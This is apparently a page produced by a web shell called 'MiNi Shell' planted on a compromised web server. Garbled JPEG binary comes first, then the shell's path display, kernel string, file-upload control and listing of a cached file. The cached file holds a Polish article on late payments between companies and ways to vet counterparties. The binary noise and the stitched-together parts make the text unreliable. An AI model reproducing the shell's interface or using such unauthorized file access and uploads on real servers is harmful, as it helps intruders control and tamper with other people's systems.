JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/frontend/runtime/cache/99/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/frontend/runtime/cache/99/9991d29f411cf52904c02116e9b76040.bin

a:2:{i:0;a:2:{i:0;s:13452:" 
                    
                    <h3 class="title" itemprop="headline">Co druga firma spodziewa się wzrostu ryzyka opóźnień w płatnościach. Czy można przewidzieć, kto nie zapłaci?</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 07-10-2025, 07:25</strong>
                        <meta itemprop="dateModified" content=" 07-10-2025, 07:25"/>
                        <div class="hide" itemprop="description">Płynność finansowa kontrahentów wpływa bezpośrednio na aktualną kondycję i przyszły rozwój przedsiębiorstwa. Opóźnienia w zapłacie za wykonaną usługę lub sprzedany towar mogą wstrzymać planowane inwestycje, a nawet utrudnić uregulowanie własnych zobowiązań. Jak wskazują badania Intrum, w związku ze spowolnieniem gospodarczym terminowa zapłata dostawcom stanowi spore wyzwanie dla połowy przedsiębiorców. Choć ryzyko opóźnień ze strony kontrahentów jest wkalkulowane w działalność gospodarczą, właściciele firm mogą je znacząco ograniczyć przy pomocy dostępnych danych i narzędzi.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="ksiegowosc.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.ksiegowosc.org/images/loga/ksiegowosc.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/85754/crop/800x600/portfel2-710010001759814933.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.ksiegowosc.org/artykuly/szczegoly/85754"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/85754/portfel1.webp" alt="pusty portfel" loading="lazy" /></p>
<p><strong>Płynność finansowa kontrahentów wpływa bezpośrednio na aktualną kondycję i przyszły rozwój przedsiębiorstwa. Opóźnienia w zapłacie za wykonaną usługę lub sprzedany towar mogą wstrzymać planowane inwestycje, a nawet utrudnić uregulowanie własnych zobowiązań. Jak wskazują badania Intrum, w związku ze spowolnieniem gospodarczym terminowa zapłata dostawcom stanowi spore wyzwanie dla połowy przedsiębiorców<sup>[1]</sup>. Choć ryzyko opóźnień ze strony kontrahentów jest wkalkulowane w działalność gospodarczą, właściciele firm mogą je znacząco ograniczyć przy pomocy dostępnych danych i narzędzi.</strong></p>
<h3 style="text-align:left;">Przedsiębiorcy w błędnym kole zaległości</h3>
<p>Inflacja, wysokie ceny energii i echa pandemii – to kilka przykładów czynników, które w największym stopniu odbijają się na sytuacji finansowej firm. Nadwyrężony budżet skutkuje trudnościami z regulowaniem bieżących zobowiązań. Tego typu sytuacje nie należą do rzadkości – po pierwszym półroczu 2025 roku polskie przedsiębiorstwa miały łącznie 45,3 mld zł zaległośc<sup>i[2]</sup>, a liczba niesolidnych płatników wynosi niemal 320 tys.</p>
<p>Według badań Intrum niewypłacalność partnerów biznesowych stanowi poważne wyzwanie dla co piątej firmy. W przypadku 25 proc. brak terminowego regulowania należności znacząco ograniczył inwestycje na przestrzeni ostatnich 12 miesięcy<sup>[3]</sup>. Przedsiębiorcy nie spodziewają się poprawy w najbliższej przyszłości. Wręcz przeciwnie – aż 51 proc. z nich uważa, że ryzyko opóźnień lub braku płatności od kontrahentów będzie w najbliższym roku jeszcze większe<sup>[4]</sup>.</p>
<blockquote>
<p>– Opóźnienia w zapłacie za usługę lub towar zwykle nie wynikają ze złej woli kontrahenta, a przejściowych problemów finansowych lub sytuacji losowej, na którą przedsiębiorca nie ma wpływu. Jednak bez względu na przyczynę problemów skutki dla firmy są takie same – brak pieniędzy za wykonaną usługę lub dostarczony towar. W zależności od skali tego zjawiska konsekwencje mogą być różne, włącznie z zaburzeniem płynności finansowej firmy. Aby uniknąć wyzwań z opłaceniem własnych zobowiązań, przedsiębiorcy decydują się czasami na kredyt lub pożyczkę. Według danych NBP w pierwszym kwartale 2025 roku skala zobowiązań krótkoterminowych wzrosła o 2,7 proc. względem ostatniego kwartału 2024 roku<sup>[5]</sup> – mówi Michał Pyziołek, ekspert Intrum.</p>
</blockquote>
<h3 style="text-align:left;">Czy można przewidzieć ryzyko przed nawiązaniem współpracy?</h3>
<p>Badania pokazują, że większość przedsiębiorców jest zabezpieczona na wypadek problemów z płynnością finansową. Aż 68 proc. z nich posiada poduszkę finansową na wypadek nieprzewidzianych sytuacji – to wzrost o 8 punktów procentowych w porównaniu do danych sprzed 2 lat. Sytuacja jest jednak bardzo zróżnicowana w zależności od branży, w której działa firma. Najwięcej zabezpieczonych finansowo przedsiębiorstw działa w obszarze usług (78 proc.) i przemysłu (74 proc.), z kolei najmniej – w transporcie (53 proc.) i budownictwie (48 proc.)<sup>[6]</sup>.</p>
<p>Informacje o poduszce finansowej nie są jednak jawne, a przedsiębiorcy raczej niechętnie o tym mówią. Perspektywa nawiązania współpracy z nowym partnerem biznesowym zawsze wiąże się więc z pewnym ryzykiem. Można je jednak znacząco ograniczyć, badając sytuację finansową kontrahentów przy pomocy dostępnych baz danych.</p>
<blockquote>
<p>– Proces ten warto rozpocząć od sprawdzenia Biur Informacji Gospodarczej. W ten sposób przedsiębiorca może pozyskać dane o zobowiązaniach potencjalnego kontrahenta, w tym liczbie wierzycieli, kwocie zaległości oraz datach ich powstania. W przypadku spółek źródłem wiedzy na temat kondycji finansowej firmy są sprawozdania opublikowane w Krajowym Rejestrze Sądowym. Należy jednak pamiętać, że brak niepokojących informacji z tych i innych źródeł nie oznacza, że ryzyko jest zerowe. Płynność finansowa firmy może zmienić się w każdym momencie, dlatego warto rozszerzyć swoje rozeznanie o analizę całego otoczenia biznesowego, w tym sytuacji w branży, w której działa potencjalny kontrahent. Pomocne mogą okazać się branżowe raporty, dane z instytucji statystycznych, a także badania i prognozy ekspertów. Warto też zasięgnąć opinii innych kontrahentów, którzy mieli już doświadczenie we współpracy z daną firmą – dodaje Michał Pyziołek.</p>
</blockquote>
<h3 style="text-align:left;">Po podpisaniu umowy: obserwacja i reagowanie</h3>
<p>Podpisanie umowy nie powinno kończyć procesu sprawdzania kontrahenta. Obserwacja przebiegu współpracy, w tym dotrzymywania terminów płatności oraz reakcji na ewentualne przypomnienia, jest bardzo ważnym sygnałem na przyszłość. Należy jednak wziąć pod uwagę, że problemy z płatnością mogą być tymczasowe, a celem partnera biznesowego jest jak najszybsze uregulowanie swoich zobowiązań. Nie zawsze więc warto decydować się na radykalne kroki.</p>
<p>Często wystarczy zwykła rozmowa z kontrahentem – kontakt telefoniczny jest uznawany za najlepszą formę odzyskania należności przez 27 proc. przedsiębiorców. Skuteczne okazują się również wezwania do zapłaty (ponad 21 proc. odpowiedzi), e-maile i wiadomości SMS (niemal 15 proc.) oraz negocjacje dotyczące rozłożenia płatności na raty lub przedłużenia terminu zapłaty (ponad 14 proc.)<sup>[7]</sup>.</p>
<blockquote>
<p>– Przedsiębiorcy stawiają na polubowne metody odzyskania należności, które – jak pokazują dane – najczęściej okazują się skuteczne. Bardziej radykalne kroki, takie jak pozew sądowy czy wpisanie kontrahenta do rejestru dłużników, są wybierane zdecydowanie rzadziej. Przyczyną rezygnacji z tej formy mogą być obawy przed pogorszeniem się relacji z partnerami biznesowymi i zamknięciem drogi do dalszej współpracy. Trzeba jednak pamiętać, że niektórzy kontrahenci celowo wykorzystują opóźnienia w płatnościach jako element swojej strategii biznesowej, dlatego w pewnych przypadkach powyższe kroki stają się koniecznością – podsumowuje Michał Pyziołek, ekspert Intrum.</p>
</blockquote>
<p>„Lepiej zapobiegać, niż leczyć” – choć to powiedzenie Hipokratesa odnosiło się do zdrowia, doskonale sprawdza się również w obszarze relacji biznesowych. Sprawdzanie płynności finansowej kontrahentów przed podpisaniem umowy, obserwacja przebiegu współpracy oraz analiza sytuacji w branży pomagają przygotować się na potencjalne wyzwania. Systematyczne stosowanie tych praktyk stanowi fundament bezpiecznego prowadzenia biznesu i budowania trwałych relacji z partnerami.</p>
<hr />
<p><small><sup>[1]</sup> Intrum European Payment Report 2025</small></p>
<p><small><sup>[2]</sup> BIG InfoMonitor, Firmy odbudowują poduszkę finansową, ale zaległości im wciąż przybywa, 2025</small></p>
<p><small><sup>[3]</sup> Intrum European Payment Report 2025</small></p>
<p><small><sup>[4]</sup> Intrum European Payment Report 2025</small></p>
<p><small><sup>[5]</sup> Narodowy Bank Polski, 2025, Szybki Monitoring NBP, nr 3/25</small></p>
<p><small><sup>[6]</sup> BIG InfoMonitor, Firmy odbudowują poduszkę finansową, ale zaległości im wciąż przybywa, 2025</small></p>
<p><small><sup>[7]</sup> BIG InfoMonitor, BIG Liczba: Aż 62 proc. przedsiębiorców uważa, że upominanie się o zaległą płatność nie psuje im dobrych relacji z kontrahentami, 2025</small></p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł zewnętrzny</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=spowolnienie+gospodarcze" class="label label-default">spowolnienie gospodarcze</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Intrum" class="label label-default">Intrum</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=opóźnienie+w+płatnościach" class="label label-default">opóźnienie w płatnościach</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=płynność+finansowa+kontrahentów" class="label label-default">płynność finansowa kontrahentów</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.ksiegowosc.org/artykuly/szczegoly/85754_co-druga-firma-spodziewa-sie-wzrostu-ryzyka-opoznien-w-platnosciach-czy-mozna-przewidziec-kto-nie-zaplaci" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_85754";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"8e934677c0a9f1aed0221ba0a586efc8";s:21:"0.42868000 1759815047";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com